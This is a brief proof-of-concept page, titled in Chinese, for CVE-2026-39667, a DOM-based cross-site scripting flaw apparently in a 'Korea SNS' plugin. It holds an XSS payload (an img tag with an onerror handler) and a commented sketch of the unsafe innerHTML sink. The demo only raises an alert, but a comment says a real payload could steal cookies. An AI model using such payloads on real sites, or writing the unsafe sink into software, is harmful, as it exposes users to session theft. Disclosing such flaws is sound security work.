CVE-2026-39667: Korea SNS插件DOM型跨站脚本漏洞

<!-- Proof of Concept for CVE-2026-39667 --> <!-- Description: The application fails to sanitize user input before placing it into the DOM. --> <!-- Usage: Access the vulnerable URL with the payload in the specific parameter (e.g., hash or query param) --> <script> // Malicious payload simulating an attacker's intent // In a real scenario, this could be a payload to steal cookies or perform actions on behalf of the user. var payload = "<img src=x onerror=alert('XSS_CVE-2026-39667')>"; // The vulnerable code pattern likely resembles this: // var userInput = location.hash.substring(1); // Getting data from URL // document.getElementById('someElement').innerHTML = userInput; // Unsafe sink // Simulating the vulnerability execution console.log("If vulnerable, the following HTML would be rendered:"); console.log(payload); // alert(1) demonstrates code execution capability alert('PoC Triggered: If this alert appears, the site is vulnerable to CVE-2026-39667'); </script>